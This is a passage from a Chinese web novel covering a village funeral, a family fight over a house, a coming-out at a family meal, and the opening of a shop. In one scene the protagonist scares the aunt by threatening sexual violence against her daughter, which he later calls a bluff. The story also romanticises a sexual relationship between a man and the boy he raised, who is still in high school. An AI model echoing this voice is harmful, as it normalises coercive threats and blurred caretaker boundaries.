听说那个姓周的回来了,各路都有赶来看的,周瞳都不认识了,还得往上敬着烟。
“给我嘴都笑歪了。”周瞳坐在一个烂椅子里,屁股都沉下去了,边上是老太太的棺材,对面是一张八仙桌,上面放着老太太的照片,还有个香炉跟两秉看似烧也烧不完的蜡烛。
“那就别跟他们笑。”应不尘说。
周瞳敲了敲老太太的棺材,说,“这棺材啥时候的?”
“一早就在家后头。”应不尘说,“不然我婶母那种性格,不能买好棺材。”
“你家怪有钱啊,”周瞳说,“这棺材比汪老爷子那口好,描龙画凤的,你都不知道打棺材老贵了。”
“我印象里我爷没了的时候就两幅棺材了。”应不尘说,“那会儿都是我爸挺有钱应该,找了我妈连带着我爷奶都看不上我。”
“我奶棺材都没要我买。”周瞳摸了摸棺材说,“只能拿床板打。”
应不尘捏了捏他的手。
67.给你脸啊
堂屋叫隔开了,挂着黄色的画着八卦图的帘子,外面的八仙桌子上放着九个碟子,各种米,花生,鸡什么的,就是做仪式,经幡挂在竹杆上,一帮老道士在念经传,再往外看,又是杀猪宰羊,大大的蒸笼都能把人给蒸了。
打牌的小伙子说是来守夜,摸到了好牌就跳起来打,得钱不说还能蹭一顿夜宵。很奇怪,死了人跟过节似的。
应不尘挨在周瞳的膝盖上,披了一件军大衣,还是周瞳给他拿的,还带着周瞳暖和人气儿。
“我爸妈姐没了,我婶你晓得咋办的?收了帛金,光叫我磕头了,来一个叫我磕一个,磕得我脑袋都痛了好几天。”应不尘说,“我奶这回她又想收,奶病了他就讲了你是老板,是我哥,你回来办,这才有这么多人,赶上咱两俩冤种回来上杆子掏钱,咱的钱还有用处呢!”
“咱不跟她计较。”周瞳在底下轻轻地摩挲他的手,“不跟计较啊,弄完了,哥带你回去,再也不跟他们打交道,好不好。”
二人前面的火盆还在烧,堂屋的老道士在扮鬼,吱吱呀呀的还是老鬼做寿。
应不尘的婶母天生会哭丧,哭得让人以为她死的是亲妈。
“渗人不?”应不尘问。
“还成吧。”周瞳说,“我死了,你能哭成这样不?”
应不尘打了周瞳一拳,被捉住了,“诶诶诶,开玩笑。”
“啥玩笑你都好开。”应不尘说,“这明天还要去山里呢,你一会儿要不要睡一觉。”
老道士跳在长条凳上撒米,夜半还要去买水。
小伙子们有些要散了,有些还意犹未尽,掀开帘子喊周瞳,“周哥,出来跟我们玩玩呗,三缺一。”
应不尘呆着没动,周瞳摸摸应不尘的头,说,“我去打两圈,听话。”
周瞳上了桌,往身后看,应不尘用棍子拨弄着火盆子,看不清楚什么神色。
周瞳摸牌,上家问他,“周哥,我听人家说你前几年混的老牛了是不是。”
“瞎玩玩。”周瞳叼着烟捉牌,“碰。”
“现在忙啥呢?”下家问。
“就瞎闹,盘几个店面做点小买卖,”周瞳抽了一口,眯着眼睛看牌。
“周哥在外头结婚没?”小伙儿问。
“没呢。”周瞳说。
“你是不是想给你姐介绍过去啊?”上家说,“你妈让你问的吧?”
“这我哪儿敢攀啊,”周瞳转着牌,靠在凳子上,单手夹着烟,“杠。”
“周哥不行你见见呗,”下家说,“我妈可给我下死令了。”
“这怪不合适的,我这啥也没有。”周瞳说,“二筒。”
有个女生进来,看见了周瞳,打了下家一下,说,“妈叫你回家。”
“这不就见上了,我姐。”下家也是个皮猴子,说,“周哥,长得帅不帅?”
周瞳怕给姑娘弄得没面子,起来跟她打招呼,“瞎胡闹呢。”
下家说,“姐,你打两圈呗,唠唠。”就把他姐按在麻将桌子上了。
周瞳扭过头去看应不尘,他还是跟原来一样给那拨弄火盆子,老道士跳面具舞太吵了,他压根听不着。
“咱两头几年一起上过学。”他姐姐看着周瞳懵了一会儿,说,“中学那会儿,没一年你没来了了。”
“啊,”周瞳说,“我想起来了,是不是那个扎俩马尾巴的,叫清啥来着。”
“这你都记得,这几年还成吗?”姑娘问。
“就这样吧。”周瞳继续给他们打麻将,说,“咱那会儿读书的,是不是都成家了。”
“嗯,”姑娘摸着牌,说,“基本都成了。”
“就我姐年纪大,还在家呢。”皮猴子说,被他姐打了。
周瞳不想接这话头,起来敬了一圈烟,“打完这一圈散呗,我弟还得看呢。”
“他不挺大了吗?”皮猴子说。
“那大也得看嘛。”周瞳胡了。
周瞳又窝回去那凳子上了,天又冷,海边的海风比城里的更冷,应不尘有点儿流鼻涕。
周瞳给他擦,擦多了,鼻子下面就红,这纸太硬了,周瞳给揉揉再给他擦。
“明天弄完就好了。”周瞳说,“弄完了咱两睡一觉,睡醒就走,行不?”
“嗯。”应不尘应了一声,说,“烦死了。”
“咱不烦啊,”周瞳说,“这都大半进程不都熬过来了。”
“你打牌赢钱没。”应不尘问。
“都毛孩子,”周瞳说。“我赢他们三瓜两枣的呢,散了点。”
“你打牌那么奸,我还以为你能把送出去的钱赢回来呢。”应不尘说。
“你都没教过我打牌。”应不尘说。
“那东西有啥好学的,老无聊了,”周瞳说,“但是你想打我就教你,好不好。”
“他们那块儿你们都聊啥啦?”应不尘问。
“就都干啥了,挣不挣钱,这些事儿呗。”周瞳说。
凌晨四五点,老太太的棺椁就抬到院子外面来了,本来这种事儿都得在家供两三天,但是他婶母说选日子了,今天下葬合适。
其实能省一天开销,反正帛金该送来的都已经送来了。
“你愿意吗?”周瞳问。
“我有啥不愿意的,我知道她咋想的,我就想赶紧弄完赶紧回家。”应不尘说,“我真一个人都不认识。”
“那就行。”周瞳叹了口气,说,“你要是有啥不乐意的,别起冲突,你跟我说,好不好?看你来了这里之后,一个好脸子都没了。”
应不尘扯了下周瞳的衣角,“你都不知道昨天我奶刚死呢,我婶母说老太太这个房子我反正也不回来住,说前几年危房了,她还出钱修了,不然早倒了,她现在意思这些玩意都是她的。”
“你咋说的?”周瞳问。
“我叫她给钱。她说没有,”应不尘说,“说欠着。”
“咋这么不要脸呢。”周瞳说。
“她怕我办完事儿明天一早就走了去宾馆去,现在急死了。”应不尘说,“人家都说我就是为了分东西才回来,咱两又干划算买卖了。我真的气得都要笑了。”
“别气,这东西过了村里的户籍册的,”周瞳说,“她光自己说也不好使。”
“当年,我想去等你,我让她带我去那个饭店,我就说我家的东西都给她,”应不尘说,“现在拿这话头堵我呢。”
“应不尘,你真的,你家都不要了你跟我走啊?”周瞳笑着问。
“啊,”应不尘说,“搜哈嘛,现在这不是赢得盆满钵满。”
“混小子。”周瞳揉了揉他的头发,说,“别急,她再跟你说这事儿,你找我呗,我无赖。”
“我不想你烦。”应不尘看着四先生来了,说,“那边来人了,要上山了。”
敲打班子跟了一段儿,炮放着,香点着。
周瞳端着个香炉,应不尘抱着个经幡,前面的车子载着棺材就上山了。
这儿还是土葬呢。
到了坟洞前,黑乎乎的,四先生把棺材打开,让孝子贤孙最后看一眼,就要开始往上面盖被子了,一层一层的,把棺材都塞满。
小瓶子里装米,装酒,酒坛子里装法事下的浑水。
各地的仪式有差别,就这么的,人一辈子就过完了。
最后封上,把她永远留在黑漆漆的坟洞里面。
春雷又开始炸耳朵,周瞳捂着应不尘的耳朵,各路都开始哭,跪拜。
最后的仪式结束了,就可以下山。
婶母这几天哭得嗓子都哑了,中午这顿饭吃完,这件事就办完了。
等回去的时候厨子早已经可以开席,桌子上盖着塑料膜,老太婆们来传菜,可以挣得一点钱跟一顿饭。
喝了红枣茶,就可以吃饭了。
各人把烧的香点在香炉里,边上写着一七二七到五七的日子。
周瞳摘了应不尘的帽子跟衣服,掸着他肩膀说,“好好吃饭,这脸色都差啥样了。”
婶母斜挎着包,就笑盈盈地过来了,坐在应不尘的边上。
“尘,啥时候走呀?”婶母问。
“吃完饭吧。”应不尘说。
“婶母给你说的事儿,你一趟就给弄了呗。”婶母说。
“不急,”周瞳叼着烟,大喇喇地坐着,一手
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架在应不尘的肩上,“孩子吃饭呢。”
婶母被噎了一下,随即恢复笑容,说,“这不是怕耽误你们事儿么。”
“耽误的事儿也不差这一件了。”周瞳也不看她,说,“孩子吃饭呢。”
婶母去招呼了一圈,上了四五个菜,又来了。
“尘,不然那房子坏了婶母还修,这几年花进去不少钱,你那会儿走了你家房子你那会儿就说了的么。”婶母说。
“婶母,”周瞳起来给婶母夹菜,说,“老太太还早上才进庙,现在就讲这些,这不是唯一的孙子么,老太太晓得了心里难受呢。”
“我这地方姓应,你都堵我几回话了,你姓周!”婶母说。
“那我也跟他姓应,行不。”周瞳问。
“你参合啥呀?”婶母说,“你又没出钱修房子,你还要抢啊?他自己说的事儿!”
周瞳抽了一口烟,一手揽在应不尘肩膀上,说,“完了,那会儿他让我养的时候,也说这房子给我,不然我能养吗?”
“那小孩子说的话咋能做数呢!”婶母说,“他说啥你都信啊?”
“对啊,小孩子说的话咋能作数呢?”周瞳说,“他说啥你都信啊?”
应不尘在中间都要笑出来了。
“那你修房子的钱还给我。”婶母说。
“好使,”周瞳说,“我婶母说话就是敞亮,你拿票,修了那些地方,危房证明,发票签名,约摸哪一年的,你给我,我找人核查一下子,是真的就都给你报了。”
“谁还会留那个呀!”婶母说。
“那我咋知道你蒙没蒙我呢?”周瞳说。
“现在你这意思,那房子我修进去钱,我也得不着,我给孩子送哪儿去说的话也不算话。”婶母急了,说,“是这意思不?”
“不是啊。”周瞳一脸你别急的样子。
“那你啥意思?”婶母问。
“你那些还不够呢,老太太的房子,我孩子还得分呢,咱是唯一的亲孙子,这席面也是亲孙子开的,”周瞳的手指一下一下点在桌面上,说,“贵人多忘事了您。”
其他桌的人开始转过头来,每次有白事,这些都是保留项目,只不过就是有些弄到台面上来而已。
“我们家的事儿要你来参合啥呀?”婶母也不顾了,“你就是为了房子来的!”
“说的对。”周瞳还是那么坐着,翘着二郎腿。
“你是什么东西!”婶母一拍桌子,咣当一声,众人回看,婶母指着周瞳,“我们应家的灵堂,有你什么事儿!”
周瞳没动静,众人都以为消停了,只看着他给应不尘夹菜,夹完了把应不尘的凳子一拉,一脚把桌子踹了,哐当哐当的菜盘子落了一地。
弄得难看的有,外人挣家产的也有,这么难看的倒是少见。
“你但凡他小时候你养他几个月我都不跟你计较,你他妈的你把他放在山匪地儿等死,你还现在还敢跟我叫板,我给你脸啊?孩子六七岁,饿的要饭吃,你他妈管他了啊?你现在有脸在这争这个抢那个的,这孩子我养的,这白事我办的,我滚出去?”周瞳笑嘻嘻,拍拍边上应不尘的叔叔的肩膀,说,“来,叔,你说句公道话。”
如应不尘所言,他叔是个窝囊废。
“你这个劳改犯,你这个劳改犯!”婶母颤抖着指着周瞳。
只见桌子翻了捧着个碗还在冷漠吃饭的应不尘一把把饭扣在婶母脸上了。
婶母抬手就要打!
周瞳一个脑瓜栗子敲在应不尘的头上,“没礼貌!我咋教你的!”
周瞳把人护在身后,说,“孩子得教育别,生气。”
“你这就算打了?”婶母的眼睛通红,女儿也围了上来。
周瞳说,“就算打,轮得上你吗?你今儿动一下试试。”
周瞳歪了歪头,脖子发出松了骨头的声音,“在座的各位长辈,替我做个见证。”
周瞳剔牙,剔完了歪叼着,跟婶母说,“你要是搞他房子,我就搞你闺女,这话我就撂这儿,反正我是个劳改犯,我就这一根苗,别的啥也没有,爽一回就三年,我跟回家似的,值当得没边,你看着办吧。”
68.那双眼睛
二人往外走。
“瞳哥,”应不尘说,“你名声又坏了。”
“我还差这点儿?”周瞳吐了牙签,叼着根烟说。
“你可干不出来搞人闺女的事儿。”应不尘说。
“我有病啊,关人家闺女啥事儿嘛,再说了,那不是你姐姐妹妹。”周瞳说。
“她俩都差点没哭开了。”应不尘说,“看都不敢看你。”
“那没招啊,”周瞳说,“那对付这种无赖,报警啥的你婶母不能怕啊,咱两也不在,就算我现在去挂上大锁了,她也能撬不是。”
周瞳弯腰下来看着他,“还难受不?”
“不难受了。”应不尘说。
刚走出来没几步呢,昨晚上那皮猴子又来了,没烟,来蹭。
周瞳给他点烟,他笑嘻嘻的说,“周哥,他婶母那种人早该有人收拾了,太贪,就得有脾气的以恶治恶。我家门口的柿子都叫她偷完了,啥都要往家拿。”
“啊,”周瞳说,“饭吃的还成吗?”
“我姐的号码你留没呀,昨天不是也打了好一会牌吗?”皮猴子说,“我姐平常都不出来吃丧家饭的,今天还特意来了呢,”皮猴子吐着眼圈,撞了一下周瞳说,“你们又是同学,都没成家,你当我姐夫呗,教我开小车。”
“瞎说八道的,别调笑你姐。”周瞳敲了一下他脑壳,说,“回去读书去。”
“诶诶,”皮猴子又上来了,“周哥周哥,我姐来了。”
应不尘看着周瞳,这目光让他不寒而栗。
对比应不尘的婶母,应不尘可比他难缠太多了。
“你,你你你别用这种眼神看我啊,我啥也没干。”周瞳说。
“那你结巴啥?”应不尘冷冰冰问。
“我我我哪里结巴了。”周瞳说,“烟烫舌头了。”
“周瞳啊。”应不尘说。
“别用这种腔叫我,”周瞳说,“我汗毛都立起来了。”
“你不是说昨天打牌,啥事儿没有吗?”应不尘问。
“这有啥呀,这都啥呀,这没啥呀。”周瞳说。
周瞳的老同学来了,咋手都开始抖了呢,应不尘作天作地的,他可不能好。
“你俩都没吃什么饭,一会儿还要回去,要不要去我家吃一口算了?”周瞳的女同学问。
“他吃了,我,我也不饿。”周瞳说,“挺着急走呢还。”
“我没吃饱。”应不尘说。
周瞳踩了他一脚。
“踩我干啥?”应不尘问。
“不能叫弟饿着呀。”女同学说,“上我家吃一口算了。”
“谢谢姐姐。”应不尘说。
周瞳真的服了。
“弟,你爱吃啥?”女同学问。
“酸的,我都爱吃。”应不尘说。
“行,那我给弄点儿醋蒸鸡你吃吗?”女同学问。
“吃。但是会不会太麻烦?”应不尘慈眉善目,说,“哥哥,你说呢?”
“怪,怪麻烦的。”周瞳说,“要不算了吧。”
“哥哥,我觉得这个姐姐人很好,也很漂亮,”应不尘说,“我会不会在这里有点儿碍哥哥的事了?”
“说,说得啥话吗,你,对吧,哪有,别别瞎说。”周瞳说。
皮猴子笑着打趣,“周哥,你害臊了啊?咋还结巴了呢。”
“看来是我碍事了,那我去那边了。”应不尘说,“你跟姐姐去吃吧。”
“诶诶诶!”周瞳抓着应不尘说,对女同学说,“谢谢你招待,我弟他刚这么大事儿,心理压力有点大,别别见怪啊。”
“当你弟弟好开心啊。”应不尘说。
“你开心就好。”周瞳拉着他,“拜拜,拜拜,”的跟同学打招呼。
前面刚走出去没两步。
周家的伯母也过来了。
云渔不大,但是分东西两爿,也有快十来个小队。
“你回来了,家也不回来一趟。”伯母说。
周瞳也不是对自己家伯母有啥意见,那个年代,上你家吃了一口不给第二口都是升米恩斗米仇的,小时候也是借过伯母家的米,借也还不上。
伯母那会儿自己家也有孩子,过不下去,因为周瞳的关系两口子也吵,那米大伯母还得回娘家借,周瞳也不好意思去。
“伯母。”周瞳喊。
“还得我出来找你。”伯母说,“你大伯都在家骂你,饭都是要回来吃一口的,咱也不来占你便宜,好的赖的,都是你自己的。”
“我心思这头弄完去呢,”周瞳说,“昨早上一早才到,我带着人呢。”
“那也不差一双筷子。”伯母说。
周瞳的大伯有点威严,听了周瞳在别人家灵堂上唱戏,大放厥词就没好脸给他看。大伯母一直都是这样的,也没什么反应。
家里菜都上了桌子了,周瞳拎着东西进来。
“你拎几个苹果就好来,不用拎这么多。”伯母说。
周瞳嗯了一声,坐下吃饭。
应不尘刚刚的酸味都散了,坐在周瞳的边上。
“你现在在外面搞什么东西。”大伯问。
“小买卖。”周瞳扒着饭吃。
“咽下去再说话。”大伯说。
周瞳不吱声。
应不尘心里也发虚。
“你在外面结婚没有。”大伯问。
周瞳咽下去了,说,“没。”
“什么时候结,”大伯敲敲筷子,“三十了,还在浪!”
“不打算结。”周瞳说。
“你当光棍啊?”大伯问。
“就那么回事儿吧。”周瞳夹着菜。
“你是不是没钱结婚。”大伯问。
“没。”周瞳说,“有也不结。”
“你要是没钱结婚,家里简单也能办,你人带回来,总是过了仪式了。”大伯说,“我跟你爸好交代。”
“没交代,”周瞳说,“结不了。”
大伯拿着拐棍,朝着周瞳就要来,“我叫你过年来我家过,你不来,你守着你奶,你奶奶没了你也没了,这么多年没消息,你回来了也不过来,你要干什么!”
周瞳说,“你俩钱收好呗,非给我干啥啊,我自己能活。”
“你得结婚生孩子!”大伯说,“你爹没了,我跟你最亲!我不管谁管!”
应不尘低头吃饭不敢说话。
“你,夹菜吃,干饭咋吃?”大伯对应不尘说。
“上别人灵堂,你跳脚骂人,”大伯说,“孬东西!”
“呐,合着让人欺负了就是好东西。”周瞳说。
“一点脸皮不要!”大伯说。
“就那样呗。”周瞳说,“要那玩意儿干啥。”
“你明年,你给我带人回来,你把婚结了。”大伯敲着棍说,“三十了三十!你没人认识我叫你大伯娘给你介绍。长得也不孬,咋就结不了!”
“喊啥嘛,”周瞳说,“我真带人回来也结不了。”
“你带回来咋结不了?”大伯问。
“我实话跟您说了吧。”周瞳一拍应不尘的背,说,“这个,我带回来了,你看看咋结。”
“这不是你养的吗!”大伯喊。
“啊。”周瞳说。
应不尘头都大了。
周瞳支着脑袋点了根烟,四个人同时安静。
大伯的胸口猛喘,大伯娘的筷子也停在那里。
还是大伯娘见多识广,气氛冷了半天,说了一句,“男,男老婆,也是,老婆嘛。”
*
“瞳哥,你大伯看起来有点生气。”应不尘上了车,周瞳倒是搓着方向盘就走了。
“迟早得说,”周瞳说,“不然老惦记我那档子事儿干啥,那几个钱他赶紧自己花了吧。”
“你不是说出来了别把咱关系弄开吗?”应不尘问。
“说不上来。”周瞳说,“我大伯长得跟我爹太像了,说话也像,我一看见他跟看见我自己爹似的,是我爹,我就想说,没啥好藏的。”
“你刚刚回家了一趟啊,”周瞳问,“回去给你爸妈上柱香没?我用去吗?”
“不用,啥也没有。”应不尘说,“在哪上都一样。”
二人往镇上开。
“那个女同学,我真没咋的,人家人挺好的。”周瞳观察着应不尘的脸色,说,“你别阴阳怪气。”
“我知道,我逗你玩呢,”应不尘说,“你那么骂婶母,还能来关心我们俩吃没吃饭,已经很好了。”
“那你搁那吓唬我,我还以为你又要炸毛。”周瞳说。
“我哪儿那么多毛好炸的,”应不尘说,“在外面叫你哥哥好玩。”
“咋的,我出丑你就这么高兴啊?”周瞳摸他的狗毛。
“你骂一宿的人舌头都不会打转儿,一碰到我就结巴,我觉得你对我好。”应不尘说。
“知道对你好你还在外面欺负我?”周瞳问。
“我哪里欺负了。”应不尘说,“我爱你都来不及呢。”
“那我可没看出来,这账我给你记着嗷,找我乐子是吧,君子报仇,”周瞳驶离了渔村,打了个超大的哈欠,说,“咱得找个地儿睡一觉,我快扛不住了。”
“怎么不在你大伯家睡。”应不尘问,“人家叫咱好几次。”
“我要跟你光溜溜抱在一起睡,我上他家睡个啥。”周瞳说。
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>“咋这么不害臊呢。”应不尘说。
“我都跟你睡多少年了我都。”周瞳说,“你小时候我给你洗屁股的时候你咋不觉得自己不害臊啊。”
“瞎说瞎说的呢。”应不尘说,“前面,这个前面就这儿住吧,你太困了。”
二人匆匆洗了身热水澡,都烟熏火燎的一身味儿,应不尘把周瞳给拎来的衣服都翻出来。
应不尘看着衣服说,“这么冷你也不穿秋衣秋裤,死骚骨头,这啥呀,秋裤你给我带两条没秋衣,不带棉袜你带尼龙袜,你带牙膏你带个药膏。你脑子想啥呢?这咋弄。”
周瞳说,“哈哈,这不是脑子的事,你那会儿睡觉呢,我没开灯,我眼睛又不太好,长得像。”
应不尘突然沉默了,捂在周瞳的肩膀上,不说话。
周瞳说,“干啥呀,刚刚还吱吱吱吱的,怎么又变脸了祖宗。”
“我真是没良心。”应不尘说。
“你这不是也,也哎呀,”周瞳说,“你洗完,你躲被子里抱着我哭,别让我干站着成吗?”
“马上马上。”应不尘匆匆收着东西就要给周瞳洗。
这水太冷了,二人一冲一跑,就健步上来躲床上了。
“唉,”周瞳躺在床上叹气,说,“年前我还想着兜里有几个子儿了,就这一通造,我真迷糊。”
“呐,”应不尘掀过去翻着兜,说,“给你。”
周瞳一下子坐起来,说,“你他妈的哪儿搞来的?”
“你那会儿跟我说我奶那口棺材好,”应不尘说,“然后我一想到我叔他就是个窝囊废,我就想起来了,我爸这么骂他,我婶母也老这么骂他,打个鱼有啥窝囊不窝囊的,我感觉有别的事儿。”
“我就你大伯那叫你说话那功夫我就回去了,家里被翻得不像样,是我婶母翻的,我家有船,经常有人骂我全家都贪,遭天谴啥的,打个鱼扯上这些干什么,我就去抽屉里翻了翻,乱七八糟的很多东西,值钱的不值钱的少的老的男的女的东西都有。”应不尘问,“瞳哥,你那会儿想离开云渔,咋走?”
“就俩走法啊,扒车,偷渡。”周瞳说。
“那会儿,我记得他们干的热火朝天,大过年也出去,好像说是最后一年了,以后吃不上这口饭了。”应不尘说,“我想了一下,93年严打偷渡了。”
“我窝囊的叔是不敢的,我爸是干偷渡的,偷过去,敲竹杠。”应不尘说,“我就在家里翻,我从前总翻到,我妈就藏我翻不到的地方。比如那种我小时候最不喜欢的东西,痰盂尿壶啥的,我翻了一下,就翻到了。”
“我草,你这个小脑瓜子咋这么好使啊?”周瞳木马的亲了一口,说,“我真服了你了。这都能推出来?”
“这些够你开店吗?” 应不尘问。
“咋不够呢,”周瞳看着手上的玉件跟老粗的项链,还有拉拉杂杂的戒指手表等物件,说,“这个玉,那会儿我出去跑车给你汪奶买手镯的时候,见过这样的,那可不便宜啊,冰种啊。”
“够你开店就行。”应不尘黏上来说,“你咋眼睛都亮了,你别看它呀,你看我。”
“看你看你,”周瞳抱着,说,“草,你这小脑瓜咋这么好使呢,你这些都挪我面前,问我都猜不着他们干啥的。”
“我有点儿恨我自己。”应不尘邦邦打了两下脑袋,说,“我早几年咋想不起来,那你能少遭罪,虽然就也没多少钱。”
“你那么小,你咋想得起来,”周瞳去拽他的手,说,“现在推得出来我都觉着你太聪明了。”周瞳还盯着玉件儿看。
“都死人东西,有啥好看的,拿回去全卖了。”应不尘说,“赶紧扔远点儿。”
“你这么一说我还觉得有点晦气了。”周瞳把东西扔在桌子上,擦了擦手抱着应不尘,“你小时候,好像我奶也这么说你家。”
“所以你那会儿不想要我?”应不尘问。
“那倒不是。”周瞳说,“我不想要你是怕咱两都得吃苦。”
“那你最后咋又要了。”应不尘问。
“没办法呀,姻缘天定呀。”周瞳抱着他,“我现在觉得挺好。”
“为啥呀?”应不尘问,“瞳哥,你理想的对象是啥样的?”
“眼睛。”周瞳说,“我看了就知道是我想要的眼睛。”
“那我的眼睛你看了那么多年了。”应不尘说,“你啥时候恍然大悟的?”
“我说了你别打我行吗?”周瞳说,“不然我胡诌了。”
“你说,我不打。”应不尘贼期待,甚至此刻还刻意睁大了,
“你给我口的时候,你那个眼睛,我直接我就爱上了。”周瞳抓住了他的手,说,“唉!说好不打的!”
69.错没错呢
2003年的时候省城最时髦的地方已经有了钱柜与麦乐迪,而小县城什么都还没有,少男少女都开始朝着省城的装扮踏近,大半夜地在街上散发年轻的魅力。
夜要开始了,周瞳在新一街绕了一圈,出租的门脸倒是不少,选门脸周瞳也有讲究,这些时尚的年轻的东西就必然要跟那些女孩子常去的地方接轨挨边。
最终选在了一家蛋糕店边上,这蛋糕店在转角的位置,因为它新开,款式在这儿独一份,而他边上的农保商店已经倒闭多年,在他边上就又挨着一家内衣店。
在晚上的时候门口摆满了夜市,都是些便宜的小吃,旋转着画画的尺子,卖小鸡小鸭的,还有截成一小节一小节甘蔗的小摊。
烙饼,玉米,红薯都冒着热气儿,有老人拖着一大捆气球缓慢行走于热闹的街道。要饭的与卖唱的经久不衰,耍猴处围着许多人。
应不尘在这个时候给周瞳围上了一块围巾,说,“我就知道你在这儿呢。”
“怎么没在家好好读书,吃啥我给你带回去就行了。”周瞳揽着他,问,“冷不冷。”
“我等不着你我就出来找你了。”应不尘笑盈盈地看着他,“老板娘那儿我打了电话了,风筝挺好的。”
“那就行。”周瞳指着前面一个纵深挺长的店面,说,“这个行吗?我相中了这个。”
“行啊。”应不尘说,“你看着办了。”
“明天找找房东去。”周瞳说。
周瞳带着应不尘去游戏厅转了一圈,里面人满为患,小厉穿梭在里面笑脸相迎,周瞳翻了下账本,小厉过来了,把收款箱子的钥匙掏出来。
“老板回来啦。”小厉打着招呼,“小尘过年好。”
“嗯,你也好,”周瞳给他塞了点红包,说,“你也辛苦,过年好,给你带宵夜了。”
周瞳把钱拿过来应不尘就揣包里,二人就回家了。
“这边小孩儿的压岁钱都送咱手里了。”应不尘说,“盘个店面还够用。”
“嗯,”周瞳点着了车,说,“我给你那个佟老师又找了个活儿,他上课的时间也短,年前忘记跟你说了,年后这边墙绘啥的,我叫他他的同学给我干,这里的墙绘生意得翻新,之前那都是刷刷标语,现在乡镇府跟县政府都要重新刷墙,画画,我让你佟老师带着他学校的聘书,我过去问了,就是便宜点儿他们得吃一点,咱两也不用费劲,找那些快退休的,这些屁大的事儿立马就定了。”
“啊,”应不尘说,“先弄起来吧,风筝那头还要用钱,总感觉账咋算都算不明白。”
周瞳踩着油门,说,“你就好好读书就完了,行吗,别的事儿跟你没关系,我拿不定主意我再问你。”
周瞳在元宵之前就把店铺租下来了,里面的破烂都得卖了,刷墙,贴瓷砖,上货架子,安玻璃门,每天都忙得手脚倒悬,有时候晚自习之后来接应不尘,他都在车里睡着了。
应不尘对着车里小小的灯看书,不忍心吵醒周瞳。后座的东西堆了一大堆,各种乱七八糟的工具,有时候累了就扯了个被子过来窝在车里睡,拆封的饼干散落着,泡面都压扁了,那保温杯里的水都是冷的。
应不尘看着他的侧脸,感觉咋就过了这几天又瘦了呢。
工人干活最是要磨洋工,定了的价格又要最后差一脚的时候加价,进货的渠道又要去摸,什么都是没接触过的,家里堆了不少广告单子与时尚杂志,这一年,义乌的小商品开始走进千家万户。
周瞳还在这中间抽空去了一趟省城,大清早应不尘上学就走了,早上听说是去看了小风筝,下午就去找省城供货的小商贸城了,跟着别人一块儿选那些洋气的小玩意儿,钥匙扣,头花皮筋,钱夹子,铅笔盒子,围巾手套的过了季了,进的都是耳钉耳环的,手链项链,哄着小孩儿进来的玩具也进了不少,全部都堆在那。
还赶在九点半的晚自习,准时出现在学校门口。
他从来不迟到的,他那么懒又那么不靠谱,但是他从不迟到。
应不尘替他觉得累,应不尘不知道周瞳什么时候才能别这么累。
“嗯?你下课了?”周瞳醒了抻了个懒腰,醒醒神,说,“累不累?”
“我不累。”应不尘说,“瞧瞧你又没好好吃饭。”
“啊,”周瞳想要摸摸他的手,发现自己的手有点儿脏,又用手背蹭蹭,说,“还成,你饿没饿,饿了我带你吃口饭去,你不饿我带你回家。”
“这两天忙活啥啦?”应不尘捧着书问。
“有俩老朋友要过来,”周瞳一笑,说,“猜猜?”
“不会是小眼镜跟腔叔要来吧?”应不尘问。
“你咋知道呢?”周瞳说,“你是不是没在学校好好上学啊一天就净盯着我了。”
“没,我之前听你打电话在问化妆品,我就想起来,那会儿黄师傅说,娘娘腔现在打扮成个女人了,浓妆艳抹的。而且你一有活儿就想带着他们。”应不尘说,“我还不知道你?”
“你真是,”周瞳说,“我去医院老板娘跟我说你腔叔跟小眼镜也来医院瞧孩子了,完了小眼镜现在给人装修班子做小工,我那装修的事儿我也不成,就让他辞了过来给我把这两店面赶紧整完,我看不过来,二中那块儿我也租上了,早点儿吧,早点儿开早点儿挣钱。”
“你腔叔现在可真行,那化妆品说起来跟专家似的,”周瞳说,“我给那个一新桥那个店不是深么,里面还有一块儿,叫他给我规划规划,现在都是个啥形势叫他给我捣鼓,反正天天混娘们堆,他俩就在省城,都叫我薅过来了。”周瞳踩着油门,搓着方向盘转了个圈,说,“等你明天不是放假吗周六,一起吃个饭。”
“他们知道你要高考,这不没几个月了吗,怎么都不肯耽误你时间,说瞧一眼就成。”周瞳说。
“那你不早说,”应不尘说,“明天的饭你今天说,我还得去订饭店呢,他俩住的地方定了吗?咋弄啊,一新桥那头租房子后头有吧?”
“随便找个店子一吃就成。”周瞳说,“干啥呢,还得开席啊?”
***
最后应不尘还是定了个上档次的饭店,点了不少菜,又揣了瓶酒,周瞳已经很久没跟他的朋友们喝酒了。
周瞳站在门口等他们,还是那德行,歪着,插着个兜,瞧不出年纪,看着不正经。
小眼镜跟娘娘腔来了,有些不好意思,小眼镜咂咂嘴,说,“你咋要花这冤枉钱!”
“没法子,不是我定的。”周瞳说,“我家那个掌柜不让我办这事儿。”
“走吧,”周瞳揽着他们就往店里走,“行啦,他定都定完了,咱就吃呗,风筝不差这一顿饭钱。”
娘娘腔今天倒是穿得像个爷们,就是脸上扑了粉,看着白。他捏着个包,扭扭捏捏地说,“是见嫂子不?见嫂子我俩没带东西,我这包里,还有个那啥今天去看样品时候拿的口红,能成吗?”
“嫂子倒确实是嫂子,但是你嫂子可能...”周瞳挠挠头,说,“那你送呗。”
小眼镜跟娘娘腔被推了进去,看见了应不尘,惊呼,“都长这么大啦弟。”
娘娘腔看见应不尘只是摸了摸他的脸,撇着嘴不说话,瞧着有点儿委屈。
“瞳哥说你们来新春了,我得早点来找你们的,他没跟我说。”应不尘打了周瞳一下,就开始倒酒,菜也开始上了,漂亮的女服务员开始布菜。
“那咱边吃边说呗。”周瞳招呼他们上座,就提了一筷子,说,“饿死我了,来这么晚。”
“咱...不等嫂子来了再动筷子吗?”小眼镜小心地问,“不好吧。”
“这不是在呢么。”周瞳继续夹菜吃,转着桌子,叫应不尘自己夹。
小眼镜看了看服务员,去拉,说,“嫂子,你也坐吧,别忙活了。”
服务员没明白,端着菜的手停滞在空中。
周瞳的筷子也停在空中,咳嗽了一声,说,“你去忙别的吧,这儿我们自己弄。”
小眼镜不知所措,说,“这不是嫂子?”
娘娘腔说,“我刚刚拿不准,没好意思打招呼。”
周瞳站起来擦擦嘴,今儿早上他还去见了几个省城过来的销售员,穿得怪正式,西装还系了个明黄色的领带,被他塞了半截进衬衫,撑着桌子起来说,“介绍一下子。”
周瞳摸了摸应不尘的狗头,说,“哥们给自己养的儿子糟蹋了。”
小眼镜有些诧异,娘娘腔也睁大了眼睛,应不尘小声说,“哪,哪,哪里有你这么介绍人的,你,你...”
周瞳蹭了他一下,说,“就行你找我乐子是不?”
